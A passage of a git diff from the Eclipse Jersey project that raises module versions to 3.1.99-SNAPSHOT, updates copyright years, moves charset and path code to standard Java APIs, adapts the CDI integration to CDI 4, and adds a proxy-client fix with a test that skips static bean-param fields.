@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,6 +18,7 @@ import java.lang.annotation.Annotation; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import java.util.Arrays; import java.util.List; import java.util.stream.Collectors; @@ -44,8 +45,6 @@ */ public final class TemplateHelper { - private static final Charset DEFAULT_ENCODING = Charset.forName("UTF-8"); - /** * Return an absolute path to the given class where segments are separated using {@code delim} character and {@code path} * is appended to this path. @@ -138,7 +137,7 @@ final String enc = PropertiesHelper.getValue(configuration.getProperties(), MvcFeature.ENCODING + suffix, String.class, null); if (enc == null) { - return DEFAULT_ENCODING; + return StandardCharsets.UTF_8; } else { return Charset.forName(enc); }
diff --git a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java index 79dd79c..b375afe 100644 --- a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java +++ b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ import java.io.Reader; import java.nio.charset.Charset; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; @@ -182,7 +182,7 @@ // File-system path. if (reader == null) { try { - reader = new InputStreamReader(Files.newInputStream(Paths.get(template)), encoding); + reader = new InputStreamReader(Files.newInputStream(Path.of(template)), encoding); } catch (final IOException ioe) { // NOOP. }
diff --git a/ext/pom.xml b/ext/pom.xml index a13a88e..924a338 100644 --- a/ext/pom.xml +++ b/ext/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/ext/proxy-client/pom.xml b/ext/proxy-client/pom.xml index 03b9119..a4d7244 100644 --- a/ext/proxy-client/pom.xml +++ b/ext/proxy-client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-proxy-client</artifactId>
diff --git a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java index 6bca315..aeffb03 100644 --- a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java +++ b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -35,6 +35,7 @@ import java.lang.annotation.Annotation; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Modifier; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; @@ -43,6 +44,7 @@ import java.util.LinkedList; import java.util.List; import java.util.Map; +import java.util.stream.Collectors; /** * Collector to retrieve parameters for setting up the HTTP request sent in the invoke method of WebResourceFactory @@ -145,7 +147,7 @@ throws IllegalAccessException, IntrospectionException, InvocationTargetException { Class<?> beanClass = beanParam.getClass(); List<Field> fields = new ArrayList<>(); - getAllFields(fields, beanClass); + getAllNonStaticFields(fields, beanClass); for (final Field field : fields) { Object value = null; @@ -156,7 +158,7 @@ anns.put(ann.annotationType(), ann); } - if (hasAnyParamAnnotation(anns)) { + if (field.canAccess(beanParam) && hasAnyParamAnnotation(anns)) { value = field.get(beanParam); } else { // get getter annotations if there are no field annotations @@ -178,11 +180,15 @@ } } - private List<Field> getAllFields(List<Field> fields, Class<?> type) { - fields.addAll(Arrays.asList(type.getDeclaredFields())); + private List<Field> getAllNonStaticFields(List<Field> fields, Class<?> type) { + + List<Field> nonStaticFields = Arrays.stream(type.getDeclaredFields()) + .filter(field -> !Modifier.isStatic(field.getModifiers())) + .collect(Collectors.toList()); + fields.addAll(nonStaticFields); if (type.getSuperclass() != null) { - getAllFields(fields, type.getSuperclass()); + getAllNonStaticFields(fields, type.getSuperclass()); } return fields;
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParamWithPrivateField.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParamWithPrivateField.java new file mode 100644 index 0000000..06250c7 --- /dev/null +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParamWithPrivateField.java
@@ -0,0 +1,59 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.client.proxy; + + +import jakarta.ws.rs.QueryParam; + +/** + * @author Divyansh Shekhar Gaur + */ +public class MyBeanParamWithPrivateField { + + @QueryParam("privateFieldParam") + private String privateFieldParam; + + private static String privateStaticField; + + static String staticField; + + public MyBeanParamWithPrivateField() {} + + public String getPrivateFieldParam() { + return privateFieldParam; + } + + public void setPrivateFieldParam(String privateFieldParam) { + this.privateFieldParam = privateFieldParam; + } + + public static String getPrivateStaticField() { + return privateStaticField; + } + + public static void setPrivateStaticField(String privateStaticField) { + MyBeanParamWithPrivateField.privateStaticField = privateStaticField; + } + + public static String getStaticField() { + return staticField; + } + + public static void setStaticField(String staticField) { + MyBeanParamWithPrivateField.staticField = staticField; + } +}
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java index 1b49f50..81fd9b4 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -54,6 +54,11 @@ } @Override + public String echoPrivateField(@BeanParam MyBeanParamWithPrivateField bean) { + return bean.getPrivateFieldParam(); + } + + @Override public String echo(MyBeanParam bean) { return ("HEADER=" + bean.getHeaderParam() + ",PATH=" + bean.getPathParam() + ",FORM=" + bean.getFormParam1() + "," + bean.getFormParam2() + ",QUERY=" + bean.getQueryParam()
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java index 5e73615..f4b7f5c 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -61,6 +61,12 @@ @POST @Consumes("application/x-www-form-urlencoded") + @Path("getPrivateField") + @Produces("text/plain") + public String echoPrivateField(@BeanParam MyBeanParamWithPrivateField bean); + + @POST + @Consumes("application/x-www-form-urlencoded") @Path("all/{pathParam}") @Produces("text/plain") public String echo(@BeanParam MyBeanParam bean);
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java index d9b361a..6819e0c 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -138,4 +138,14 @@ assertEquals("query", response); } + + @Test + public void testBeanParamPrivateFieldQuery() { + MyBeanParamWithPrivateField myGetBeanParam = new MyBeanParamWithPrivateField(); + myGetBeanParam.setPrivateFieldParam("query"); + + String response = resourceWithBeanParam.echoPrivateField(myGetBeanParam); + + assertEquals("query", response); + } } \ No newline at end of file
diff --git a/ext/rx/pom.xml b/ext/rx/pom.xml index 2e86422..21c23a0 100644 --- a/ext/rx/pom.xml +++ b/ext/rx/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.ext.rx</groupId>
diff --git a/ext/rx/rx-client-guava/pom.xml b/ext/rx/rx-client-guava/pom.xml index 5a147bc..12a6b90 100644 --- a/ext/rx/rx-client-guava/pom.xml +++ b/ext/rx/rx-client-guava/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext.rx</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-rx-client-guava</artifactId>
diff --git a/ext/rx/rx-client-rxjava/pom.xml b/ext/rx/rx-client-rxjava/pom.xml index 07d7fb1..33491a8 100644 --- a/ext/rx/rx-client-rxjava/pom.xml +++ b/ext/rx/rx-client-rxjava/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext.rx</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-rx-client-rxjava</artifactId>
diff --git a/ext/rx/rx-client-rxjava2/pom.xml b/ext/rx/rx-client-rxjava2/pom.xml index 2a98300..c60be49 100644 --- a/ext/rx/rx-client-rxjava2/pom.xml +++ b/ext/rx/rx-client-rxjava2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext.rx</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-rx-client-rxjava2</artifactId>
diff --git a/ext/spring6/pom.xml b/ext/spring6/pom.xml index 1e5b000..4cc853e 100644 --- a/ext/spring6/pom.xml +++ b/ext/spring6/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-spring6</artifactId> @@ -186,7 +186,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>provided</scope> </dependency>
diff --git a/ext/wadl-doclet/pom.xml b/ext/wadl-doclet/pom.xml index 0e8b3cb..8823e8c 100644 --- a/ext/wadl-doclet/pom.xml +++ b/ext/wadl-doclet/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.ext</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>jersey-wadl-doclet</artifactId> @@ -35,8 +35,8 @@ <properties> <java.sourceDirectory>${project.basedir}/src/main/java</java.sourceDirectory> - <java8_11.build.outputDirectory>${project.basedir}/target</java8_11.build.outputDirectory> - <java8_11.sourceDirectory>${project.basedir}/src/main/java8_11</java8_11.sourceDirectory> + <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory> + <java11.sourceDirectory>${project.basedir}/src/main/java8_11</java11.sourceDirectory> <java12.build.outputDirectory>${project.basedir}/target-java12</java12.build.outputDirectory> <java12.sourceDirectory>${project.basedir}/src/main/java12</java12.sourceDirectory> </properties> @@ -44,27 +44,12 @@ <profiles> <profile> - <id>jdk1.8</id> + <id>jdk11</id> <activation> - <jdk>1.8</jdk> - </activation> - <dependencies> - <dependency> - <groupId>com.sun</groupId> - <artifactId>tools</artifactId> - <version>1.8.0</version> - <scope>system</scope> - <systemPath>${java.home}/../lib/tools.jar</systemPath> - </dependency> - </dependencies> - </profile> - <profile> - <id>jdk1.8_11</id> - <activation> - <jdk>[1.8,12)</jdk> + <jdk>[11,12)</jdk> </activation> <build> - <directory>${java8_11.build.outputDirectory}</directory> + <directory>${java11.build.outputDirectory}</directory> <plugins> <plugin> <groupId>org.codehaus.mojo</groupId> @@ -78,7 +63,7 @@ <configuration> <sources> <source>${java.sourceDirectory}</source> - <source>${java8_11.sourceDirectory}</source> + <source>${java11.sourceDirectory}</source> </sources> </configuration> </execution> @@ -124,7 +109,7 @@ <!-- ${java12.build.outputDirectory} does not work here --> <exists>target-java12/classes/org/glassfish/jersey/wadl/doclet/ResourceDoclet.class</exists> </file> - <jdk>[1.8,12)</jdk> + <jdk>[11,12)</jdk> </activation> <build> <plugins> @@ -151,7 +136,7 @@ <goal>copy-resources</goal> </goals> <configuration> - <outputDirectory>${java8_11.build.outputDirectory}/classes/META-INF/versions/12</outputDirectory> + <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/12</outputDirectory> <resources> <resource> <directory>${java12.build.outputDirectory}/classes</directory> @@ -170,7 +155,7 @@ <phase>package</phase> <configuration> <target> - <property name="sources-jar" value="${java8_11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> + <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> <echo>sources-jar: ${sources-jar}</echo> <zip destfile="${sources-jar}" update="true"> <zipfileset dir="${java12.sourceDirectory}" prefix="META-INF/versions/12"/>
diff --git a/incubator/cdi-inject-weld/pom.xml b/incubator/cdi-inject-weld/pom.xml index 2d73880..da0e5be 100644 --- a/incubator/cdi-inject-weld/pom.xml +++ b/incubator/cdi-inject-weld/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.incubator</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-cdi-inject-weld</artifactId> @@ -59,7 +59,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency> @@ -127,8 +126,11 @@ org.glassfish.jersey.inject.weld.managed.*;version=${project.version} </Export-Package> <Import-Package> + jakarta.servlet.*;version="[5.0,7.0)", sun.misc.*;resolution:=optional, + ${jakarta.annotation.osgi.version}, ${cdi.osgi.version}, + jakarta.decorator.*;version="[3.0,5)", ${jakarta.annotation.osgi.version}, * </Import-Package>
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java index 3e3da09..a1c5032 100644 --- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java +++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
@@ -151,7 +151,8 @@ Class<Supplier<T>> supplierClass = (Class<Supplier<T>>) binding.getSupplierClass(); AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(supplierClass); - InjectionTarget<Supplier<T>> injectionTarget = beanManager.createInjectionTarget(annotatedType); + final InjectionTargetFactory<Supplier<T>> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType); + final InjectionTarget<Supplier<T>> injectionTarget = injectionTargetFactory.createInjectionTarget(null); SupplierClassBean<T> supplierBean = new SupplierClassBean<>(runtimeType, binding); InjectionTarget<Supplier<T>> jit = getJerseyInjectionTarget(supplierClass, injectionTarget, supplierBean, resolvers); @@ -218,7 +219,8 @@ final Class<Supplier<T>> bindingClass = (Class<Supplier<T>>) binding.getSupplierClass(); final AnnotatedType<Supplier<T>> annotatedType = beanManager.createAnnotatedType(bindingClass); - final InjectionTarget<Supplier<T>> injectionTarget = beanManager.createInjectionTarget(annotatedType); + final InjectionTargetFactory<Supplier<T>> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType); + final InjectionTarget<Supplier<T>> injectionTarget = injectionTargetFactory.createInjectionTarget(null); final CachedConstructorAnalyzer<Supplier<T>> analyzer = new CachedConstructorAnalyzer<>(bindingClass, InjectionUtils.getInjectAnnotations(resolvers)); @@ -239,7 +241,8 @@ final Class<T> bindingClass = binding.getImplementationType(); final AnnotatedType<T> annotatedType = beanManager.createAnnotatedType(bindingClass); - final InjectionTarget<T> injectionTarget = beanManager.createInjectionTarget(annotatedType); + final InjectionTargetFactory<T> injectionTargetFactory = beanManager.getInjectionTargetFactory(annotatedType); + final InjectionTarget<T> injectionTarget = injectionTargetFactory.createInjectionTarget(null); final CachedConstructorAnalyzer<T> analyzer = new CachedConstructorAnalyzer<>(bindingClass, InjectionUtils.getInjectAnnotations(resolvers));
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java index 3918e7d..66594f9 100644 --- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java +++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
@@ -142,7 +142,7 @@ return false; } - @Override + // @Override - Removed in CDI 4 public boolean isNullable() { return false; }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java index c995f48..826c52f 100644 --- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java +++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
@@ -1,4 +1,5 @@ /* + * Copyright (c) 2022 Contributors to the Eclipse Foundation * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -46,7 +47,6 @@ import org.glassfish.jersey.internal.inject.Binding; import org.glassfish.jersey.internal.inject.ClassBinding; import org.glassfish.jersey.internal.inject.ReferencingFactory; -import org.glassfish.jersey.internal.spi.AutoDiscoverable; import org.glassfish.jersey.internal.util.collection.Ref; import org.glassfish.jersey.model.internal.CommonConfig; import org.glassfish.jersey.model.internal.ComponentBag; @@ -231,31 +231,11 @@ } @Override - public Servlet getServlet(String name) throws ServletException { - return null; - } - - @Override - public Enumeration<Servlet> getServlets() { - return null; - } - - @Override - public Enumeration<String> getServletNames() { - return null; - } - - @Override public void log(String msg) { } @Override - public void log(Exception exception, String msg) { - - } - - @Override public void log(String message, Throwable throwable) { }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java index eff570f..7dd99c8 100644 --- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java +++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/scope/RequestScopeBean.java
@@ -54,7 +54,7 @@ this.injectionTarget = injectionTargetFactory.createInjectionTarget(null); } - @Override + // @Override - Removed in CDI 4 public boolean isNullable() { return false; }
diff --git a/incubator/declarative-linking/pom.xml b/incubator/declarative-linking/pom.xml index cdb5680..2130a51 100644 --- a/incubator/declarative-linking/pom.xml +++ b/incubator/declarative-linking/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.incubator</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.ext</groupId> @@ -58,9 +58,9 @@ <scope>provided</scope> </dependency> <dependency> - <groupId>org.glassfish</groupId> - <artifactId>jakarta.el</artifactId> - <scope>provided</scope> + <groupId>org.glassfish.expressly</groupId> + <artifactId>expressly</artifactId> + <scope>test</scope> </dependency> <dependency> <groupId>org.junit.jupiter</groupId> @@ -74,12 +74,12 @@ <version>${project.version}</version> <scope>test</scope> </dependency> -<!-- <dependency>--> -<!-- <groupId>org.glassfish.jersey.media</groupId>--> -<!-- <artifactId>jersey-media-json-jackson</artifactId>--> -<!-- <version>${jersey.version}</version>--> -<!-- <scope>test</scope>--> -<!-- </dependency>--> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-json-jackson</artifactId> + <version>${jersey.version}</version> + <scope>test</scope> + </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> @@ -175,22 +175,6 @@ </executions> </plugin> <plugin> - <!-- TODO remove after jakartification --> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-surefire-plugin</artifactId> - <executions> - <execution> - <id>default-test</id> <!-- jakartification-excluded-tests --> - <configuration> - <excludes> - <exclude>org/glassfish/jersey/linking/integration/LinkingTest.java</exclude> - <exclude>org/glassfish/jersey/linking/integration/LinkingManualTest.java</exclude> - </excludes> - </configuration> - </execution> - </executions> - </plugin> - <plugin> <groupId>org.apache.felix</groupId> <artifactId>maven-bundle-plugin</artifactId> <inherited>true</inherited>
diff --git a/incubator/gae-integration/pom.xml b/incubator/gae-integration/pom.xml index f0a0916..366a6bd 100644 --- a/incubator/gae-integration/pom.xml +++ b/incubator/gae-integration/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.incubator</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-gae-integration</artifactId>
diff --git a/incubator/html-json/pom.xml b/incubator/html-json/pom.xml index 5eed87b..e6e5d1e 100644 --- a/incubator/html-json/pom.xml +++ b/incubator/html-json/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.incubator</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.media</groupId>
diff --git a/incubator/html-json/src/main/java/org/glassfish/jersey/media/htmljson/HtmlJsonProvider.java b/incubator/html-json/src/main/java/org/glassfish/jersey/media/htmljson/HtmlJsonProvider.java index f130472..1a9c6f4 100644 --- a/incubator/html-json/src/main/java/org/glassfish/jersey/media/htmljson/HtmlJsonProvider.java +++ b/incubator/html-json/src/main/java/org/glassfish/jersey/media/htmljson/HtmlJsonProvider.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,6 +23,7 @@ import java.lang.reflect.Array; import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; +import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.List; @@ -126,7 +127,7 @@ } out.write(']'); } else { - out.write(t.toString().getBytes("UTF-8")); + out.write(t.toString().getBytes(StandardCharsets.UTF_8)); } }
diff --git a/incubator/injectless-client/pom.xml b/incubator/injectless-client/pom.xml index daf7c24..026316e 100644 --- a/incubator/injectless-client/pom.xml +++ b/incubator/injectless-client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.incubator</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-injectless-client</artifactId>
diff --git a/incubator/kryo/pom.xml b/incubator/kryo/pom.xml index 7ddc227..f8a29b1 100644 --- a/incubator/kryo/pom.xml +++ b/incubator/kryo/pom.xml
